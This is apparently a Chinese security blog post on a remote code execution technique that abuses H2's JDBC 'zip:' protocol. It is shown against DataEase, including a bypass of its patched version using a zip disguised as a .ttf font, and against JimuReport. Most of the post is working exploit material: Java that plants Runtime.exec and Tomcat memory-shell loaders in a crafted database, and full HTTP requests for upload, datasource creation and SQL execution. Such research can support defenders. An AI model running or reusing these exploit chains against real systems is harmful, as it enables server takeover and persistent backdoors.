由DataEase漏洞引出的另一种H2 JDBC RCE#
漏洞原文
https://github.com/dataease/dataease/security/advisories/GHSA-cjmg-jqmc-xj5v
当时看到这个漏洞wp很诧异,h2居然还能解析zip中的db文件
本地测试#
然后我马上在我本地尝试了一下
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.220</version>
</dependency>测试代码如下
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class H2JDBC {
public static void main(String[] args) throws Exception {
genh2db();
String url = "jdbc:h2:zip:/path/to/h2test.zip!/test";
Connection conn = DriverManager.getConnection(url, "sa", "");
Statement stmt = conn.createStatement();
String sql = "SELECT INVOKE('calc')";
ResultSet rs = stmt.executeQuery(sql);
if (rs.next()) {
System.out.println("执行结果: " + rs.getString(1));
}
}
public static void genh2db() throws Exception{
String url = "jdbc:h2:./test";
Connection conn = DriverManager.getConnection(url, "sa", "");
Statement stmt = conn.createStatement();
String payload = "CREATE ALIAS IF NOT EXISTS INVOKE AS '" +
"String java_exec(String cmd) throws Exception { " +
"Runtime.getRuntime().exec(cmd); return \"done\"; }'";
stmt.execute(payload);
stmt.close();
conn.close();
System.out.println("test.mv.db文件已成功生成");
}
}genh2db方法会生成test.mv.db文件,生成后将其压缩为zip文件,然后通过jdbcurl进行连接。这里的默认用户名sa必须写,不然会抛出Wrong username or password的异常
H2 zip:协议工作原理
当 H2 驱动看到 zip: 前缀时,它会执行以下操作:
- 解压并打开指定的
.zip文件。 - 在压缩包根目录下寻找名为
databaseName.mv.db的文件。 - 以“只读(Read-Only)”模式加载该数据库。
在测试代码中,h2首先会解压h2test.zip文件,然后寻找名为test.mv.db的文件,加载我们写好的恶意payload数据库,最后执行恶意函数实现远程代码执行
漏洞复现#
在DataEase中存在/de2api/datasource/uploadFile接口允许上传zip文件,同时会返回zip文件绝对路径

之后加载并保存h2数据源配置
POST /api/datasource/save HTTP/1.1
Host: 192.168.239.1:8080
Content-Length: 650
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: application/json
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.UK4jQ8CzyC8nylz_eAFZMa8agK9vCF2zt9GQENwXbV0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.239.1:8080
Referer: http://192.168.239.1:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"id":"","name":"test","description":"","type":"h2","apiConfiguration":"","paramsConfiguration":[],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOnppcDpEOi9pZGVhL3Byb2plY3QvZGF0YWVhc2UtMi4xMC4yMi9kYXRhL2V4Y2VsLzc0NTc5ZmI1LWM5NDUtNGNlZS04ODkyLTRiZTlhYWVjNGNkMi56aXAhL3Rlc3QiLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiJzYSIsInBhc3N3b3JkIjoiIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJzc2xDQSI6IiIsInNzbENlcnQiOiIiLCJzc2xLZXkiOiIiLCJpbml0aWFsUG9vbFNpemUiOjUwLCJtaW5Qb29sU2l6ZSI6NTAsIm1heFBvb2xTaXplIjoxMDAsInF1ZXJ5VGltZW91dCI6MzB9","syncSetting":null,"pid":"0"}base64解码payload,需要注意的是username字段需要写上sa
{"dataBase":"","jdbc":"jdbc:h2:zip:/opt/dataease2.0/data/excel/d7d6ef3c-6178-46bd-8381-7b9ad02922b0.zip!/test","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"sa","password":"","host":"","authMethod":"","port":0,"sslCA":"","sslCert":"","sslKey":"","initialPoolSize":50,"minPoolSize":50,"maxPoolSize":100,"queryTimeout":30}上一步拿到datasourceId值,替换后执行sql
POST /de2api/datasetData/previewSql HTTP/1.1
Host: 192.168.239.1:8080
Content-Length: 137
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: application/json
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgwMzYwNDA2fQ.IU_EdZ4iisSliWXyfg-mLg9O6wmjDwf3hUXuqBZtfhw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.239.1:8080
Referer: http://192.168.239.1:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"isCross":false,"sql":"U0VMRUNUIElOVk9LRSgndG91Y2ggL3RtcC9zdWNjZXNzJyk=","datasourceId":"{datasourceId}","sqlVariableDetails":"[]"}调用INVOKE函数
SELECT INVOKE('touch /tmp/success')
执行如果页面报错element cannot be mapped to a null key,删除刚刚的h2数据源即可恢复正常
GET /de2api/datasource/delete/{datasourceId} HTTP/1.1
Host: 192.168.239.1:8080
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgwMzYwNDA2fQ.IU_EdZ4iisSliWXyfg-mLg9O6wmjDwf3hUXuqBZtfhw
Referer: http://192.168.239.1:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive打内存马#
选择tomcat+jakartaListener即可

生成新的test.mv.db(踩坑记录:注意需要先删除旧的test.mv.db)
public static void genh2db() throws Exception {
// 1. 指定本地生成的数据库文件路径和账号
String url = "jdbc:h2:./test";
Connection conn = DriverManager.getConnection(url, "sa", "");
Statement stmt = conn.createStatement();
String payload = "CREATE ALIAS IF NOT EXISTS AQWSSSAZ AS '" +
"String shellexec(String abc) throws java.lang.Exception { " +
" byte[] standBytes = null; " +
" String tomcatStr = \"yv66.....\";" +
" java.lang.Class unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\"); " +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\"); " +
" unsafeField.setAccessible(true); " +
" sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null); " +
" java.lang.Module module = java.lang.Object.class.getModule(); " +
" java.lang.Class cls = AQWSSSAZ.class; " +
" long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\")); " +
" unsafe.getAndSetObject(cls, offset, module); " +
" java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE); " +
" defineClass.setAccessible(true); " +
" byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr); " +
" java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); " +
" clazz.newInstance(); " +
" return \"test\"; " +
"}'";
// 3. 执行 SQL 将别名函数写入系统表中
stmt.execute(payload);
// 4. 关闭连接确保数据完整写入磁盘
stmt.close();
conn.close();
System.out.println("成功按照指定的 Payload 将 AQWSSSAZ 别名函数写入本地 test.mv.db 文件。");
}然后按照poc打即可,注意最后修改一下sql语句,调用AQWSSSAZ方法
SELECT AQWSSSAZ('123')后续思考#
后缀bypass#
经过本地测试发现H2 zip协议不限制后缀,只要是zip格式都能正常解压,后缀无限制,于是就有了dataease2.10.23版本的bypass
查看commit发现io/dataease/datasource/server/DatasourceServer#uploadFile这个方法增加了后缀白名单
同时,如果上传xlsx后缀的zip文件,ExcelUtils.getTables方法会抛出格式不正确的异常

因此找到了另一个上传方法io/dataease/font/manage/FontManage#saveFile,此方法虽然限制了文件后缀为ttf,但并没有校验文件内容,也不会删除,所以可以上传一个后缀为ttf的zip格式文件。

zip文件改个后缀上传即可
POST /de2api/typeface/uploadFile HTTP/1.1
Host: 192.168.239.138:8100
Content-Length: 1441
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTBXt7gnsZ4zAVkxW
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgwNTIzODEzfQ.2K6pLNXu_p7ap2WEFbeRBM8lXouh-4JuakVg-Kws1ME
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.239.138:8100
Referer: http://192.168.239.138:8100/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryTBXt7gnsZ4zAVkxW
Content-Disposition: form-data; name="file"; filename="test.mv.ttf"
Content-Type: application/octet-stream
xxxx
------WebKitFormBoundaryTBXt7gnsZ4zAVkxW--拿到文件绝对路径/opt/dataease2.0/data/font/b397c2fc-4c4c-45ef-82f8-0343561cb949.ttf后,之后的步骤和之前相同
io/dataease/font/manage/FontManage#saveFile代码
可以看到fileOutputStream.write(file.getBytes());这一步直接写入文件,后续没有任何校验或删除操作
private FontDto saveFile(MultipartFile file, String fileNameUUID) throws DEException {
FontDto fontDto = new FontDto();
try {
String filename = file.getOriginalFilename();
if (StringUtils.isEmpty(filename) || !filename.toLowerCase().endsWith(".ttf")) {
DEException.throwException("非法格式的文件!");
}
String suffix = filename.substring(filename.lastIndexOf(".") + 1);
String filePath = path + fileNameUUID + "." + suffix;
File f = new File(filePath);
FileOutputStream fileOutputStream = new FileOutputStream(f);
fileOutputStream.write(file.getBytes());
fileOutputStream.flush();
fileOutputStream.close();
fontDto.setFileTransName(fileNameUUID + "." + suffix);
long length = file.getSize();
String unit = "MB";
Double size = 0.0;
if ((double) length / 1024 / 1024 > 1) {
if ((double) length / 1024 / 1024 / 1024 > 1) {
unit = "GB";
size = Double.valueOf(String.format("%.2f", (double) length / 1024 / 1024 / 1024));
} else {
size = Double.valueOf(String.format("%.2f", (double) length / 1024 / 1024));
}
} else {
unit = "KB";
size = Double.valueOf(String.format("%.2f", (double) length / 1024));
}
Font font = Font.createFont(Font.TRUETYPE_FONT, new File(filePath));
fontDto.setSize(size);
fontDto.setSizeType(unit);
fontDto.setName(font.getFontName());
} catch (Exception e) {
DEException.throwException(e);
}
return fontDto;
}路径限制#
既然后缀无限制,那么路径是否也可以用相对路径呢?
测试时发现h2是基于System.getProperty("user.dir")来作为工作目录的,那么某些上传目录在工作目录下的项目,就不需要知道绝对路径就能利用。
String url = "jdbc:h2:zip:../../../test.mv_1780475998387.mv.jpg!/test";
Connection conn = DriverManager.getConnection(url, "sa", "");
Statement stmt = conn.createStatement();
String sql = "SELECT INVOKE('calc')";
ResultSet rs = stmt.executeQuery(sql);
if (rs.next()) {
System.out.println("执行结果: " + rs.getString(1));
}其他例子#
以jimureport-latest2.3.4为例
/jmreport/upload接口可以上传jpg文件,但不检测文件头
POST /jmreport/upload HTTP/1.1
Host: 192.168.239.138:8085
Content-Length: 10346
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
X-Access-Token: 226853cd-d0a4-4684-bb88-c50611cfbd91
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys1rEBGgex5zX6CI5
Accept: */*
Origin: http://192.168.239.138:8085
Referer: http://192.168.239.138:8085/drag/list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=22C861AF55521C09D476CCA648FFCBA4; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1780553750,1780623151; HMACCOUNT=93D1934483419A2C; Hm_lvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780563638,1780624389; Hm_lpvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780624519; X-Access-Token=10d046c8-c791-46ad-abcb-0f31393c1c0c; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1780628112
Connection: keep-alive
------WebKitFormBoundarys1rEBGgex5zX6CI5
Content-Disposition: form-data; name="file"; filename="test.mv.jpg"
Content-Type: image/jpeg
xxx
------WebKitFormBoundarys1rEBGgex5zX6CI5--返回的body如下,相对路径jimureport/test.mv_1780629810324.mv.jpg,而积木报表默认的上传路径为/opt/upload,那么拼接得到绝对路径/opt/upload/jimureport/test.mv_1780629810324.mv.jpg
{"success":true,"message":"jimureport/test.mv_1780629810324.mv.jpg","code":0,"result":null,"timestamp":1780629810324}添加数据源
POST /jmreport/addDataSource HTTP/1.1
Host: 192.168.239.138:8085
Content-Length: 221
tenantId: null
X-TIMESTAMP: 1780629823511
X-Access-Token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
X-Sign: 5724777E1C64CF667831009FE741056E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
X-Tenant-Id: null
token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
JmReport-Tenant-Id: null
Origin: http://192.168.239.138:8085
Referer: http://192.168.239.138:8085/doLogin?username=admin&password=123456
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"id":"1222063017207087104","reportId":"","code":"","name":"test","dbType":"H2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:zip:/opt/upload/jimureport/test.mv_1780629810324.mv.jpg!/test","dbUsername":"sa","dbPassword":""}执行sql语句select AQWSSSAZ('123')
POST /jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.239.138:8085
Content-Length: 76
tenantId: null
X-TIMESTAMP: 1780629825783
X-Access-Token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
X-Sign: 1D7EAA656FD3283F1AA7B656C9CEFB3C
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
X-Tenant-Id: null
token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
JmReport-Tenant-Id: null
Origin: http://192.168.239.138:8085
Referer: http://192.168.239.138:8085/doLogin?username=admin&password=123456
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=22C861AF55521C09D476CCA648FFCBA4; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1780553750,1780623151; HMACCOUNT=93D1934483419A2C; Hm_lvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780563638,1780624389; Hm_lpvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780624519; X-Access-Token=10d046c8-c791-46ad-abcb-0f31393c1c0c; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1780628112
Connection: keep-alive
{"sql":"select AQWSSSAZ('123')","dbSource":"1222063017207087104","type":"0"}生成db文件的命令执行payload和上面的一样,内存马的payload稍微有点不同,内存马类型同样选tomcat+jakartaListener
public static void genh2db() throws Exception {
String url = "jdbc:h2:./test";
try (Connection conn = DriverManager.getConnection(url, "sa", "");
Statement stmt = conn.createStatement()) {
String payload = "CREATE ALIAS IF NOT EXISTS AQWSSSAZ AS $$\n" +
"String execPayload(String cmd) {\n" +
" try {\n" +
" String b64 = \"yv66...\";\n" +
" byte[] code = java.util.Base64.getDecoder().decode(b64);\n" +
" Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
" java.lang.reflect.Field f = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
" f.setAccessible(true);\n" +
" Object unsafe = f.get(null);\n" +
" java.lang.reflect.Method objectFieldOffset = unsafeClass.getDeclaredMethod(\"objectFieldOffset\", java.lang.reflect.Field.class);\n" +
" java.lang.reflect.Method getAndSetObject = unsafeClass.getDeclaredMethod(\"getAndSetObject\", Object.class, long.class, Object.class);\n" +
" String currentClassName = Thread.currentThread().getStackTrace()[1].getClassName();\n" +
" Class<?> self = Class.forName(currentClassName);\n" +
" java.lang.reflect.Field moduleField = Class.class.getDeclaredField(\"module\");\n" +
" long offset = (long) objectFieldOffset.invoke(unsafe, moduleField);\n" +
" Object javaBaseModule = Object.class.getModule();\n" +
" getAndSetObject.invoke(unsafe, self, offset, javaBaseModule);\n" +
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
" defineClass.setAccessible(true);\n" +
" Class<?> loaded = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);\n" +
" loaded.getDeclaredConstructor().newInstance();\n" +
" return \"Success\";\n" +
" } catch (Throwable t) {\n" +
" return \"Error: \" + t.toString();\n" +
" }\n" +
"}\n$$";
stmt.execute(payload);
System.out.println("别名函数 AQWSSSAZ 创建成功");
}
}其实这个漏洞唯一的限制就是获取上传文件的路径,如果用户更改了默认上传路径并且不在工作目录下,那就比较棘手了
还需要注意的一点是如果目标是用docker compose启动的jimureport那么此漏洞会失效,因为容器内的java环境是简易的jre环境,缺少javac和js引擎,无法编译和解析java代码